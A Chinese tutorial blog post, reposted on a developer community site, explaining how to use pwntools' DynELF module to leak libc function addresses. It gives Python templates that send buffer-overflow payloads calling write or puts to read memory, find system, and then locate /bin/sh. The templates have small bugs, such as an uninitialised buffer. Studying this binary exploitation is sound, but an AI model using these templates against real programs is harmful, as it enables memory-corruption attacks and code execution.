前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用DynELF泄露函数地址

利用DynELF泄露函数地址

作者头像
偏有宸机
发布2020-11-04 10:34:38
1K0
发布2020-11-04 10:34:38
举报
文章被收录于专栏:宸机笔记

概念

DynELF是Pwntools中的一个模块。主要用于针对在程序中找不到libc文件的情况,用于泄露函数真实地址

使用DynELF模块必须要有一个leak函数

leak函数主要用于以程序的某个地址做起始点,进行多次对比获得结构特征,以自动计算出libc基地址

而leak函数内的payload主要以writeputsprintf三个函数为主,用以每次读取每个地址内的地址(并且确保该函数可以进行多次溢出

Write函数模板

代码语言:javascript
复制
def leak(address):
#address是待泄露的地址
    payload = offset + p32(write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    #payload = 溢出位 + write\puts\printf + 返回地址 + 参数1 + 参数2 + 参数3
    sh.sendline(payload)
    data = sh.recv(4) 
    #用于接受返回的地址,32位接收4位,64位接收8位
	log.success('%x -> %s'%(address,hex(u32(data))))
    return data
libc = DynELF(leak, elf=ELF(file_path))
#初始化DynELF模块,也就是程序的elf变量
system_addr = libc.lookup('system', 'libc')
#在libc文件中搜索system

Put函数模板

Puts函数后没有其他输出

代码语言:javascript
复制
def leak(address):
  count = 0
  data = ''
  payload = p32(puts_plt_addr) + p32(main_addr) + p32(address)
  sh.send(payload)
  print sh.recvuntil('xxx\n') #一定要在puts前释放完输出
  up = ""
  while True:
    c = sh.recv(numb=1, timeout=1) 
    count += 1
    if up == '\n' and c == "":  
      buf = buf[:-1]             
      buf += "\x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4]  
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

Puts函数后程序还有其他输出

代码语言:javascript
复制
def leak(address):
  count = 0
  data = ""
  payload = xxx
  sh.send(payload)
  print sh.recvuntil("xxx\n") #一定要在puts前释放完输出
  up = ""
  while True:
    c = sh.recv(1)
    count += 1
    if up == '\n' and c == "x":  #一定要找到泄漏信息的字符串特征
      data = buf[:-1]                     
      data += "\x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

可以在泄露出几个函数地址后使用LibcDatabase来查版本,以便找到/bin/sh

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-02-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概念
  • Write函数模板
  • Put函数模板
    • Puts函数后没有其他输出
      • Puts函数后程序还有其他输出
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档